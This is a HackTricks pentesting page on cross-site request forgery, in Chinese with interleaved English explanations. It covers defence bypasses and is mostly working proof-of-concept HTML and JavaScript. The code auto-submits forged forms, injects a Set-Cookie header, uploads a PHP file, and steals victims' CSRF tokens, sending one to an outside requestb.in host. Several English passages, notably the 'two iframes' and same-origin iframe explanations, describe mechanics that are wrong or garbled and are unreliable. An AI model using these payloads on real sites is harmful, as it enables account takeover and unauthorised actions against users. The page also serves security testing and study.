hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

50 KiB
Raw Blame History

CSRF跨站请求伪造

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行动中获利!

{% embed url="https://hackenproof.com/register" %}

什么是CSRF

跨站请求伪造也称为CSRF是一种Web安全漏洞允许攻击者诱使用户执行他们不打算执行的操作
这是通过使受害者平台上的已登录用户访问攻击者控制的网站,然后从那里执行恶意JS代码、发送表单或检索“图像”到受害者账户来实现的。

先决条件

要滥用CSRF漏洞首先需要找到一个相关的操作来滥用更改密码或电子邮件、让受害者在社交网络上关注您、给您更多权限等。会话必须仅依赖于cookie或HTTP基本身份验证标头不能使用任何其他标头来处理会话。最后请求中不应该有不可预测的参数

可以采取多种对策来避免此漏洞。

常见的防御措施

  • SameSite cookies如果会话cookie使用此标志您可能无法从任意网站发送cookie。
  • 跨源资源共享根据您需要执行的HTTP请求类型您可能需要考虑受害站点的CORS策略请注意CORS策略不会影响您只想从表单发送GET请求或POST请求而不需要读取响应的情况。
  • 要求用户输入密码以授权操作。
  • 解析ReferrerOrigin标头。如果使用正则表达式,可以通过以下方式绕过:
  • http://mal.net?orig=http://example.com以该URL结尾
  • http://example.com.mal.net以该URL开头
  • 修改Post或Get请求的参数名称
  • 在每个会话中使用CSRF令牌。此令牌必须在请求中发送以确认操作。此令牌可以受到CORS的保护。

CSRF映射

防御绕过

从POST到GET

也许您要滥用的表单准备发送带有CSRF令牌的POST请求,但是,您应该检查是否也可以发送GET请求并且在发送GET请求时仍然验证CSRF令牌

缺少令牌

某些应用程序在令牌存在时正确验证令牌,但如果省略了令牌,则跳过验证
在这种情况下,攻击者可以删除包含令牌的整个参数而不仅仅是其值以绕过验证并进行CSRF攻击。

CSRF令牌与用户会话无关

某些应用程序不验证令牌是否属于发出请求的用户会话。相反,应用程序维护一个全局令牌池,接受出现在此池中的任何令牌。
在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效令牌然后将该令牌提供给受害者用户进行CSRF攻击。

方法绕过

如果请求使用了“奇怪的方法,请检查方法覆盖功能是否正常工作。
例如,如果使用了PUT方法,您可以尝试使用POST方法并发送:https://example.com/my/dear/api/val/num?_method=PUT

这也可以通过在POST请求中发送**_method参数或使用标头**来实现:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

自定义头部令牌绕过

如果请求中添加了一个带有令牌的自定义头部作为CSRF保护方法

  • 在请求中测试不带自定义令牌和头部的情况。
  • 在请求中测试令牌长度相同但内容不同的情况。

CSRF令牌由Cookie验证

在前面的漏洞的进一步变种中一些应用程序将每个令牌复制到一个Cookie和一个请求参数中。或者在后端设置一个CSRF Cookie并在后端检查发送的CSRF令牌是否与Cookie相关联。

当验证后续请求时应用程序只需验证请求参数中提交的令牌是否与Cookie中存储的值匹配。
在这种情况下如果网站包含任何允许攻击者将自己的CSRF Cookie设置为受害者的漏洞攻击者可以再次执行CSRF攻击。

在这种情况下您可以尝试加载一个伪造的图像来设置Cookie然后像这个例子一样发起CSRF攻击

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} 请注意,如果csrf令牌与会话cookie相关联此攻击将无效,因为您需要将您的会话设置为受害者,因此您将攻击自己。 {% endhint %}

更改Content-Type

根据这里,为了避免预检请求使用POST方法这些是允许的Content-Type值

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

然而,请注意,服务器逻辑可能会有所不同取决于使用的Content-Type因此您应该尝试上述提到的值以及其他值如**application/json_,_text/xmlapplication/xml**.

发送JSON数据作为text/plain的示例来自这里

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

application/json预检请求绕过

正如你已经知道的你不能通过HTML表单发送Content-Type为application/json的POST请求如果你尝试通过XMLHttpRequest这样做,首先会发送一个预检请求。
然而,你可以尝试使用text/plainapplication/x-www-form-urlencoded这两种内容类型发送JSON数据只是为了检查后端是否独立于Content-Type使用数据。
你可以使用Content-Type: text/plain设置enctype="text/plain"来发送一个表单。

如果服务器只接受Content-Type为"application/json"的内容类型你可以发送Content-Type为"text/plain; application/json"的内容而不触发预检请求。

你还可以尝试使用SWF Flash文件来绕过这个限制。更多信息请阅读这篇文章

绕过Referrer / Origin检查

避免使用Referrer头

一些应用程序在请求中验证Referer头是否存在但如果省略了该头则跳过验证。

<meta name="referrer" content="never">

正则表达式绕过

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

要在Referrer将发送到参数中的URL中设置服务器的域名可以执行以下操作

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEAD方法绕过

这个CTF解答的第一部分解释了Oak的源代码,一个路由器被设置为将HEAD请求处理为无响应体的GET请求 - 这是一个常见的解决方法不仅仅适用于Oak。与处理HEAD请求的特定处理程序不同它们只是交给GET处理程序但应用程序会删除响应体

因此如果GET请求受限您可以发送一个将被处理为GET请求的HEAD请求

利用示例

窃取CSRF令牌

如果使用CSRF令牌作为防御,您可以尝试通过滥用XSS漏洞或悬挂标记漏洞来窃取它

使用HTML标签进行GET请求

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

其他可以用于自动发送GET请求的HTML5标签有

表单GET请求

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

表单POST请求

A common method for submitting data to a web server is through a form POST request. This is typically used when a user fills out a form on a website and clicks the submit button. The form data is then sent to the server using the HTTP POST method.

一个常见的向Web服务器提交数据的方法是通过表单POST请求。当用户在网站上填写表单并点击提交按钮时通常会使用这种方法。表单数据随后使用HTTP POST方法发送到服务器。

To perform a CSRF attack, an attacker can create a malicious webpage that includes a form with hidden fields. When a user visits this webpage, their browser will automatically submit the form to the target website, without the user's knowledge or consent.

为了进行CSRF攻击攻击者可以创建一个恶意网页其中包含一个带有隐藏字段的表单。当用户访问此网页时他们的浏览器将自动将表单提交到目标网站而用户并不知情或同意。

The hidden fields can contain values that the attacker wants to submit to the target website, such as changing the user's password or making a purchase on their behalf. Since the request is coming from the user's browser, the target website may mistakenly believe that the request is legitimate and process it accordingly.

隐藏字段可以包含攻击者想要提交到目标网站的值,例如更改用户的密码或代表用户进行购买。由于请求来自用户的浏览器,目标网站可能会错误地认为请求是合法的,并相应地处理它。

To protect against CSRF attacks, web developers can implement measures such as using anti-CSRF tokens, which are unique tokens generated for each user session. These tokens are included in the form and are validated by the server to ensure that the request is legitimate.

为了防止CSRF攻击Web开发人员可以采取措施例如使用反CSRF令牌这些令牌是为每个用户会话生成的唯一令牌。这些令牌包含在表单中并由服务器验证以确保请求是合法的。

By validating the anti-CSRF token, the server can verify that the request originated from the same website and not from a malicious source. This helps prevent CSRF attacks by ensuring that only requests from trusted sources are processed.

通过验证反CSRF令牌服务器可以验证请求是否来自同一网站而不是来自恶意来源。这有助于通过确保仅处理来自可信源的请求来防止CSRF攻击。

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

通过iframe进行表单POST请求

In some cases, attackers can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by using iframes to perform form POST requests. This technique is commonly known as "iframe-based CSRF" or "CSRF through iframes".

在某些情况下攻击者可以利用iframe来执行表单POST请求从而利用跨站请求伪造CSRF漏洞。这种技术通常被称为“基于iframe的CSRF”或“通过iframe的CSRF”。

Attackers can create a hidden iframe on a malicious website that loads a target website's form. The attacker then fills in the form fields with malicious data and submits the form using JavaScript. Since the iframe is hidden, the user is unaware of the malicious activity.

攻击者可以在恶意网站上创建一个隐藏的iframe加载目标网站的表单。然后攻击者使用JavaScript填充表单字段并提交表单。由于iframe是隐藏的用户对恶意活动毫不知情。

When the form is submitted, the browser sends the POST request to the target website, including any session cookies associated with the target website. This allows the attacker to perform actions on behalf of the user without their consent.

当表单被提交时浏览器会将POST请求发送到目标网站并包含与目标网站相关的任何会话cookie。这使得攻击者可以在用户不知情的情况下代表用户执行操作。

To protect against iframe-based CSRF attacks, web developers should implement measures such as:

为了防止基于iframe的CSRF攻击Web开发人员应该采取以下措施

  • Implementing CSRF tokens: Include a unique token in each form submission and verify it on the server-side to ensure that the request is legitimate.

  • 实施CSRF令牌在每个表单提交中包含一个唯一的令牌并在服务器端进行验证以确保请求是合法的。

  • Implementing SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to restrict their usage in cross-site requests.

  • 实施SameSite cookie将SameSite属性设置为“Strict”或“Lax”以限制cookie在跨站请求中的使用。

  • Implementing CSRF protection frameworks: Utilize frameworks like Django's CSRF protection or OWASP's CSRFGuard to add an additional layer of security against CSRF attacks.

  • 实施CSRF保护框架使用像Django的CSRF保护或OWASP的CSRFGuard这样的框架为防止CSRF攻击增加额外的安全层。

By implementing these measures, web developers can mitigate the risk of CSRF attacks through iframes and protect user data and privacy.

通过实施这些措施Web开发人员可以减轻通过iframe进行的CSRF攻击的风险保护用户的数据和隐私。

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST 请求

Ajax 是一种用于在后台发送 HTTP 请求的技术。通过使用 Ajax可以在不刷新整个页面的情况下向服务器发送 POST 请求并接收响应。

在进行 CSRF 攻击时,攻击者可以利用受害者的身份发送恶意的 Ajax POST 请求。这种攻击方式被称为 CSRF跨站请求伪造

攻击者可以通过在恶意网站上放置一个钓鱼表单,或者通过发送包含恶意代码的电子邮件,引诱受害者点击恶意链接。当受害者在登录状态下访问恶意网站或点击恶意链接时,浏览器会自动发送包含受害者身份验证凭据的 Ajax POST 请求。

为了防止 CSRF 攻击,开发人员应该实施适当的防御措施,如使用 CSRF 令牌、检查 Referer 头部等。

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST 请求

When a web application uses the multipart/form-data encoding type for a POST request, it means that the data being sent is in a format that allows for the transmission of binary and textual data together. This encoding type is commonly used when uploading files through a web form.

当一个 Web 应用程序使用 multipart/form-data 编码类型进行 POST 请求时,意味着发送的数据以一种允许二进制和文本数据一起传输的格式进行编码。这种编码类型通常在通过 Web 表单上传文件时使用。

In a multipart/form-data POST request, the data is divided into multiple parts, each with its own set of headers and a unique identifier. Each part contains a specific piece of data, such as a file or a form field value.

multipart/form-data POST 请求中,数据被分成多个部分,每个部分都有自己的头部和唯一标识符。每个部分包含特定的数据,例如文件或表单字段的值。

The request body starts with a boundary string, which is a unique identifier that separates the different parts of the request. Each part is then preceded by a set of headers that provide information about the data being sent.

请求体以边界字符串开始,该字符串是一个唯一标识符,用于分隔请求的不同部分。然后,每个部分前面都有一组头部,提供有关发送的数据的信息。

For example, a multipart/form-data POST request may include a part for a file upload, with the Content-Disposition header specifying the name of the file and the Content-Type header indicating the type of file being uploaded.

例如,multipart/form-data POST 请求可能包含一个用于文件上传的部分,其中 Content-Disposition 头部指定文件的名称,而 Content-Type 头部指示正在上传的文件类型。

When performing a penetration test, it is important to understand how the web application handles multipart/form-data requests, as this can help identify potential vulnerabilities such as Cross-Site Request Forgery (CSRF).

在进行渗透测试时,了解 Web 应用程序如何处理 multipart/form-data 请求非常重要因为这可以帮助识别潜在的漏洞如跨站请求伪造CSRF

By crafting malicious multipart/form-data requests, an attacker may be able to trick a user into unknowingly performing actions on the web application, leading to unauthorized access or data manipulation.

通过构造恶意的 multipart/form-data 请求,攻击者可能会成功欺骗用户在不知情的情况下对 Web 应用程序执行操作,从而导致未经授权的访问或数据篡改。

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST请求 v2

In this section, we will discuss the second version of the multipart/form-data POST request. This type of request is commonly used to upload files or submit form data that includes binary content.

Understanding the Request

The multipart/form-data POST request consists of multiple parts, each containing a separate piece of data. Each part is identified by a unique boundary string, which is specified in the request headers.

Building the Request

To build a multipart/form-data POST request, follow these steps:

  1. Set the Content-Type header to "multipart/form-data" and include the boundary string.
  2. Create each part of the request by specifying the Content-Disposition header, which includes the name and filename (if applicable) of the data being sent.
  3. Include any additional headers required for each part, such as Content-Type for file uploads.
  4. Add the data for each part, including any binary content.
  5. Close the request body by adding the boundary string followed by "--" to indicate the end of the request.

Example Request

Here is an example of a multipart/form-data POST request:

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890

-----------------------------1234567890
Content-Disposition: form-data; name="username"

john.doe
-----------------------------1234567890
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
Content-Type: image/jpeg

[Binary image data]
-----------------------------1234567890--

In this example, the request includes two parts: one for the "username" field and another for the "profile_picture" file upload.

Conclusion

The multipart/form-data POST request is a versatile method for sending data that includes binary content. Understanding how to build and manipulate this type of request is essential for performing various web application attacks, such as CSRF (Cross-Site Request Forgery).

var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

在 iframe 中发送表单 POST 请求

When an HTML form is submitted, the browser sends a POST request to the server. This can be done within an iframe as well. However, due to the same-origin policy, the browser will only allow the form to be submitted if the form and the iframe have the same origin.

当 HTML 表单被提交时,浏览器会向服务器发送一个 POST 请求。这也可以在 iframe 中完成。然而,由于同源策略的限制,浏览器只允许在表单和 iframe 具有相同源的情况下提交表单。

To achieve this, you can create an iframe with the same origin as the form's target URL. Then, you can dynamically create a form within the iframe and submit it programmatically.

为了实现这一点,您可以创建一个与表单目标 URL 具有相同源的 iframe。然后您可以在 iframe 中动态创建一个表单,并以编程方式提交它。

Here's an example of how you can accomplish this using JavaScript:

以下是使用 JavaScript 实现此功能的示例:

<iframe id="myFrame" src="https://example.com"></iframe>

<script>
  // Get the iframe element
  var iframe = document.getElementById('myFrame');

  // Create a form element
  var form = document.createElement('form');
  form.method = 'POST';
  form.action = 'https://example.com/submit';

  // Create form fields
  var input1 = document.createElement('input');
  input1.type = 'hidden';
  input1.name = 'username';
  input1.value = 'admin';

  var input2 = document.createElement('input');
  input2.type = 'hidden';
  input2.name = 'password';
  input2.value = 'password123';

  // Append form fields to the form
  form.appendChild(input1);
  form.appendChild(input2);

  // Append the form to the iframe
  iframe.contentDocument.body.appendChild(form);

  // Submit the form
  form.submit();
</script>

In this example, an iframe with the id "myFrame" is created and its source is set to "https://example.com". Then, a form is dynamically created within the iframe and populated with hidden input fields. Finally, the form is submitted programmatically.

在这个示例中,创建了一个 id 为 "myFrame" 的 iframe并将其源设置为 "https://example.com"。然后,在 iframe 中动态创建一个表单,并填充隐藏的输入字段。最后,以编程方式提交表单。

This technique can be used for various purposes, including performing Cross-Site Request Forgery (CSRF) attacks. It is important to note that CSRF attacks are illegal and unethical unless performed with proper authorization and for legitimate security testing purposes.

这种技术可以用于各种目的包括执行跨站请求伪造CSRF攻击。需要注意的是除非经过适当授权并用于合法的安全测试目的否则执行 CSRF 攻击是非法和不道德的。

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

窃取CSRF令牌并发送POST请求

In this technique, we will steal the CSRF token from a legitimate user and use it to craft a malicious POST request. This attack is known as Cross-Site Request Forgery (CSRF).

在这个技术中我们将窃取合法用户的CSRF令牌并使用它来构造恶意的POST请求。这种攻击被称为跨站请求伪造CSRF

  1. Identify the target: First, we need to identify the target website that is vulnerable to CSRF attacks.

    识别目标首先我们需要识别易受CSRF攻击的目标网站。

  2. Analyze the website: Next, we analyze the website to find out how the CSRF token is generated and included in the requests.

    分析网站接下来我们分析网站找出CSRF令牌是如何生成并包含在请求中的。

  3. Steal the CSRF token: We can steal the CSRF token by tricking a legitimate user into visiting a malicious website or by exploiting a vulnerability on the target website.

    窃取CSRF令牌我们可以通过诱使合法用户访问恶意网站或利用目标网站上的漏洞来窃取CSRF令牌。

  4. Craft a malicious POST request: Once we have the CSRF token, we can craft a malicious POST request with the stolen token and send it to the target website.

    构造恶意的POST请求一旦我们获得了CSRF令牌我们可以使用窃取的令牌构造一个恶意的POST请求并将其发送到目标网站。

  5. Exploit the vulnerability: If the target website does not have proper CSRF protection in place, it will process the malicious POST request and perform the desired action on behalf of the legitimate user.

    利用漏洞如果目标网站没有适当的CSRF保护措施它将处理恶意的POST请求并代表合法用户执行所需的操作。

It is important to note that CSRF attacks can have serious consequences, such as unauthorized actions performed on behalf of the user or data leakage. Therefore, it is crucial for web developers to implement proper CSRF protection mechanisms to prevent such attacks.

需要注意的是CSRF攻击可能会产生严重后果例如以用户名义执行未经授权的操作或数据泄露。因此对于Web开发人员来说实施适当的CSRF保护机制以防止此类攻击至关重要。

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

窃取CSRF令牌并使用iframe、表单和Ajax发送Post请求

In this technique, we will exploit the vulnerability of Cross-Site Request Forgery (CSRF) by stealing the CSRF token and using it to send a malicious POST request. We will accomplish this by utilizing an iframe, a form, and Ajax.

在这个技术中我们将利用跨站请求伪造CSRF的漏洞窃取CSRF令牌并使用它发送恶意的POST请求。我们将通过使用iframe、表单和Ajax来实现这一目标。

Step 1: Stealing the CSRF Token

步骤1窃取CSRF令牌

To begin, we need to find a way to steal the CSRF token from the target website. This can be done by analyzing the website's source code or using browser developer tools. Once we have identified the location of the CSRF token, we can extract it using JavaScript.

首先我们需要找到一种方法来窃取目标网站的CSRF令牌。这可以通过分析网站的源代码或使用浏览器开发者工具来完成。一旦我们确定了CSRF令牌的位置我们就可以使用JavaScript来提取它。

Step 2: Creating an iframe

步骤2创建一个iframe

Next, we will create an iframe element in our malicious webpage. This iframe will be used to load the target website's page that contains the form we want to submit. By loading the target website within our iframe, we can manipulate the form and submit it without the user's knowledge.

接下来我们将在恶意网页中创建一个iframe元素。这个iframe将用于加载包含我们想要提交的表单的目标网站页面。通过在我们的iframe中加载目标网站我们可以在用户不知情的情况下操纵表单并提交它。

Step 3: Manipulating the form

步骤3操纵表单

Once the target website's page is loaded within our iframe, we can use JavaScript to manipulate the form. We will set the form's action attribute to the URL where we want to send the malicious POST request. We will also set the form's method attribute to "POST" and include any necessary input fields with their corresponding values.

一旦目标网站的页面在我们的iframe中加载完成我们就可以使用JavaScript来操纵表单。我们将把表单的action属性设置为我们想要发送恶意POST请求的URL。我们还将把表单的method属性设置为“POST”并包含任何必要的输入字段及其相应的值。

Step 4: Sending the POST request

步骤4发送POST请求

Finally, we will use Ajax to send the manipulated form data as a POST request to the target website's server. By doing this, we can bypass any CSRF protection mechanisms that may be in place. The server will process the request as if it came from a legitimate source, allowing us to perform unauthorized actions on behalf of the user.

最后我们将使用Ajax将操纵后的表单数据作为POST请求发送到目标网站的服务器。通过这样做我们可以绕过可能存在的任何CSRF保护机制。服务器将处理该请求就好像它来自一个合法的来源使我们能够代表用户执行未经授权的操作。

It is important to note that this technique is highly unethical and illegal unless performed with proper authorization during a penetration testing engagement.

需要注意的是,除非在渗透测试过程中经过适当授权,否则这种技术是非常不道德和非法的。

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

窃取CSRF令牌并使用iframe和表单发送POST请求

To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request. One way to achieve this is by utilizing an iframe and a form.

首先你需要从目标网站窃取CSRF令牌然后使用它发送恶意的POST请求来执行跨站请求伪造CSRF攻击。其中一种方法是利用iframe和表单。

  1. Create an iframe element in your attacker-controlled website. Set the source of the iframe to the target website's page that contains the CSRF token.

    在攻击者控制的网站中创建一个iframe元素。将iframe的源设置为包含CSRF令牌的目标网站页面。

    <iframe src="https://target-website.com/csrf-page"></iframe>
    
  2. Use JavaScript to access the content of the iframe and extract the CSRF token.

    使用JavaScript访问iframe的内容并提取CSRF令牌。

    var iframe = document.getElementsByTagName('iframe')[0];
    var csrfToken = iframe.contentDocument.getElementById('csrf-token').value;
    
  3. Create a hidden form element in your attacker-controlled website. Set the action attribute of the form to the target website's vulnerable endpoint.

    在攻击者控制的网站中创建一个隐藏的表单元素。将表单的action属性设置为目标网站的易受攻击的端点。

    <form id="csrf-form" action="https://target-website.com/vulnerable-endpoint" method="POST">
      <input type="hidden" name="csrf-token" value="">
    </form>
    
  4. Use JavaScript to set the value of the hidden input field to the stolen CSRF token.

    使用JavaScript将隐藏输入字段的值设置为窃取的CSRF令牌。

    var form = document.getElementById('csrf-form');
    form.elements['csrf-token'].value = csrfToken;
    
  5. Use JavaScript to submit the form automatically.

    使用JavaScript自动提交表单。

    form.submit();
    

By combining the iframe and form techniques, you can steal the CSRF token and send a POST request on behalf of the victim user without their knowledge or consent.

通过结合iframe和表单技术你可以在用户不知情或未经同意的情况下窃取CSRF令牌并代表受害者用户发送POST请求。

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

窃取令牌并使用2个iframe发送

In this technique, we will steal the CSRF token from the target website and send it to our own server using two iframes. This allows us to bypass the same-origin policy and perform unauthorized actions on behalf of the victim user.

Step 1: Stealing the CSRF token

To steal the CSRF token, we need to trick the victim into visiting a malicious website controlled by us. This can be done through various methods, such as sending a phishing email or exploiting a vulnerability in the target website.

Once the victim visits our malicious website, we can use JavaScript to extract the CSRF token from the target website's HTML source code. We can then store this token in a variable for later use.

Step 2: Sending the stolen token

Now that we have the stolen CSRF token, we can send it to our own server using two iframes. The first iframe will be used to make a GET request to the target website's endpoint that requires the CSRF token. We will include the stolen token as a parameter in the URL.

<iframe src="https://www.target-website.com/endpoint?csrf_token=<stolen_token>" style="display:none;"></iframe>

The second iframe will be used to make a POST request to the same endpoint, this time including the stolen token in the request body.

<iframe src="https://www.target-website.com/endpoint" style="display:none;">
  <form method="POST">
    <input type="hidden" name="csrf_token" value="<stolen_token>">
  </form>
</iframe>

By using two iframes, we ensure that both the GET and POST requests are made, allowing us to successfully perform the CSRF attack.

Step 3: Performing unauthorized actions

Once the stolen token is sent to our server, we can use it to perform unauthorized actions on behalf of the victim user. This can include changing account settings, making purchases, or performing any other action that the victim user is authorized to do.

It is important to note that this technique relies on the victim being authenticated on the target website. If the victim is not logged in, the CSRF token will not be valid and the attack will fail.

By using this technique, an attacker can exploit CSRF vulnerabilities to gain unauthorized access to user accounts and perform malicious actions. It is important for developers to implement proper CSRF protection mechanisms to prevent such attacks.

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

使用Ajax窃取CSRF令牌并通过表单发送POST请求

To perform a Cross-Site Request Forgery (CSRF) attack, you can use Ajax to steal the CSRF token and then send a POST request using a form.

要执行跨站请求伪造CSRF攻击可以使用Ajax来窃取CSRF令牌然后使用表单发送POST请求。

<script>
    // Step 1: Steal the CSRF token using Ajax
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/get-csrf-token', true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var csrfToken = xhr.responseText;

            // Step 2: Send a POST request with the stolen CSRF token
            var form = document.createElement('form');
            form.method = 'POST';
            form.action = '/transfer-money';

            var input = document.createElement('input');
            input.type = 'hidden';
            input.name = 'csrf_token';
            input.value = csrfToken;

            form.appendChild(input);
            document.body.appendChild(form);

            form.submit();
        }
    };
    xhr.send();
</script>

The above code demonstrates how to steal the CSRF token using Ajax and then send a POST request with the stolen token.

